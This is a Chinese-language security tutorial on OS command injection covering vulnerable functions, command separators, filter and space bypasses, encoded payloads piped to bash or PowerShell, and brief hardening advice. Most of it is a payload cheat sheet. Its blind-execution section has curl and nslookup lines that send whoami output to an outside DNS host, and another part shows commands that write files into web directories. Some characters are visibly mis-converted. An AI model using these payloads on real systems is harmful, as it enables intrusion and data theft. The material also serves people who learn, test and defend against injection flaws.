漏洞原理
指令執行漏洞是指攻擊者通過注入惡意指令來執行非預期的操作;簡單來說就是沒有對使用者輸入的内容充分的驗證或過濾,而直接帶入到指令執行函數中當成系統化指令被執行。
以Python代碼為例,舉個簡單的例子:
import os
def echo(content):
os.system(f"echo {content}")
# 正常請求
echo("test")
# 指令注入請求
echo("test;whoami")
可見成功執行了系統指令,也側面說明這個漏洞的危害很大。
漏洞危害
- 執行任意系統指令,可能導緻系統被完全控制。
- 敏感資訊洩露,如密碼、資料庫内容等。
- 對系統進行拒絕服務(DoS)攻擊。
- 執行惡意代碼,如安裝後門、植入惡意軟體等。
常見漏洞函數
函數隻是示例為主,并不全,因為每種程式設計語言都有很多方式來執行系統指令
程式設計語言 | 執行系統指令的函數 |
PHP | exec()、shell_exec()、system()、passthru()、proc_open()、popen() |
Python | os.system()、subprocess.run()、subprocess.Popen() |
Go | os/exec.Command()、os/exec.Run()、os/exec.Output() |
Java | Runtime.getRuntime().exec()、ProcessBuilder.command() |
Node.js | child_process.exec()、child_process.spawn() |
常見利用思路
既然是注入類漏洞,那就必須要遵循原文的文法規則,這裡就列舉一下如何閉合前文等,達到執行惡意系統指令的目的。
Windows
連接配接符
連接配接符 | 描述 |
& | 用于連接配接多個指令,按順序執行 |
&& | 用于連接配接多個指令,隻有前一個指令成功執行後才執行下一個指令 |
| | 用于将一個指令的輸出作為另一個指令的輸入 |
|| | 用于連接配接多個指令,隻要前一個指令執行失敗,就執行下一個指令 |
通配符
通配符 | 描述 |
* | 比對任意字元序列(可以為空) |
? | 比對單個字元 |
舉例如下:
type test*
type test.tx?
繞過特殊内容
一些情況下,會禁止出現一些指定内容,如CTF時的flag字段等,如果不能用通配符,那麼可以嘗試使用編碼方式來繞過
powershell -command "$decodedCommand = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('Y2F0IC9mbGFnCg==')); Invoke-Expression $decodedCommand"
也可以使用防轉義的方式來繞過
type test.t^x^t
還可以使用拼接的方式繞過
type t"es"t.tx""t
還可以使用指派變量的方式來繞過
set a=type&&set b=test.txt&&%a% %b%
如果禁止了%\w%,那麼還可以用切割的方式來繞過
set a=type&&set b=test.txt&&%a:~0% %b%
繞過空格
一些情況下,會禁止在指令中使用空格,那麼可以用如下幾種方式來繞過
type.\test.txt
type,test.txt
*unix
連接配接符
連接配接符 | 描述 |
; | 用于連接配接多個指令,按順序執行 |
& | 用于連接配接多個指令,将多個指令置于背景運作 |
&& | 用于連接配接多個指令,隻有前一個指令成功執行後才執行下一個指令 |
| | 用于将一個指令的輸出作為另一個指令的輸入 |
|| | 用于連接配接多個指令,隻要前一個指令執行失敗,就執行下一個指令 |
通配符
通配符 | 描述 |
* | 比對任意字元序列(可以為空) |
? | 比對單個字元 |
[a-z0-9] | 比對[]中的任意字元 |
舉例如下:
cat test*
cat test.tx?
cat test.tx[a-z]
注釋符
一些情況下,會強制在指令後面加一段内容,那麼我們可以通過注釋符給後面的内容注釋掉
ls 1.txt #asdaaaa
提前執行指令
官方說法:内嵌指令 | 子指令
一些情況下,允許我們使用`或者$()時,可以将其添加到指令中,提前執行惡意指令内容。
who`echo a`mi
who$(echo a)mi
繞過特殊内容
一些情況下,會禁止出現一些指定内容,如CTF時的flag字段等,如果不能用通配符,那麼可以嘗試使用編碼方式來繞過
# base64 ==> echo 123 | base64
echo Y2F0IC9mbGFnCg== | base64 -d | bash
# hex ==> echo 123 | xxd -ps
echo 636174202f666c61670a | xxd -r -ps | bash
也可以使用防轉義的方式來繞過
\c\at 1.\txt
還可以使用拼接的方式來繞過
cat "1".t'x't
還可以使用指派變量的方式來繞過
a=ca;b=t;c=1.txt;$a$b $c
還可以使用一些空變量來繞過,$1-$9,$@,$*
c$@at 1.txt
還可以通過截取環境變量的方式來繞過
可以使用printenv檢視目前的環境變量
echo ${PATH:41:4}/${PATH:471:2} #==> 我的環境變量中是 /bin/sh
${PATH:41:4}/${PATH:471:2} -c whoami
繞過空格
一些情況下,會禁止在指令中使用空格,那麼可以用如下幾種方式來繞過
cat${IFS}1.txt
cat<>1.txt
cat<1.txt
{cat,1.txt}
繞過長度限制
如果限制了長度,可以先嘗試寫到檔案中,然後用sh執行
echo -n c >> 1
echo -n a >> 1
...
sh 1
防護建議
- 輸入驗證和過濾:對于從使用者或外部源接收的所有輸入資料,進行嚴格的驗證和過濾。確定隻允許預期的輸入字元和格式,并拒絕潛在的惡意代碼。
- 權限限制:確定應用程式在執行指令時使用最低特權。不要在指令執行中使用超級使用者權限或管理者權限,以降低攻擊者可能獲得的權限。
- 沙箱環境:在可能的情況下,将應用程式或相關元件運作在沙箱環境中,以限制其對系統的通路權限。這可以幫助隔離惡意代碼的影響,并提供額外的安全層。
補充
指令注入和代碼注入的差別
經常有人把這兩種漏洞搞混,其實還是有一些差別的,從名字也可以看出來,他們的注入方式不同。
- 指令注入漏洞發生在使用使用者輸入建構系統指令或Shell指令的情況下,攻擊者通過在使用者輸入中注入惡意指令來執行未經授權的操作,導緻攻擊者可以執行任意的系統指令。
- 代碼注入漏洞發生在應用程式中使用者輸入的資料被直接插入到可執行代碼中的情況下,攻擊者通過在使用者輸入中注入惡意代碼來修改應用程式的邏輯,執行未經授權的操作,導緻攻擊者可以在應用程式中執行任意的代碼。
無回顯指令執行
出網
*unix
在linux系統中如果執行系統指令無回顯,那麼可以通過外帶資料的方式來擷取資訊,如
curl `whoami`.8f208c4a.ipv6.1433.eu.org
nslookup $(whoami | base64).8f208c4a.ipv6.1433.eu.org
windows
windows中不能像linux那樣直接把指令執行結果帶出來,有點雞肋,但至少可以帶一些環境變量出來證明漏洞确實存在。
curl %USERNAME%.8f208c4a.ipv6.1433.eu.org
具體的環境變量有哪些,可通過set 指令檢視。
不出網
不出網時,一般就以寫檔案為主,寫webshell、公鑰、日志等。下方舉例如何根據靜态資源定位到web目錄,并自動寫入檔案。
*unix
查找指定靜态檔案,并在目前目錄下寫入shell
# 查找1.txt,如果找到了,就在目标目錄寫入phpinfo
find / -name "1.txt" -execdir bash -c 'echo "123" > phpinfo.php' \;
windows
和上方方法類似,通過powershell實作
powershell -command "Get-ChildItem -Path './' -Recurse -Filter 'test.txt' | ForEach-Object { New-Item -Path $_.DirectoryName -Name 'phpinfo.php' -ItemType 'file' -Value '123' }"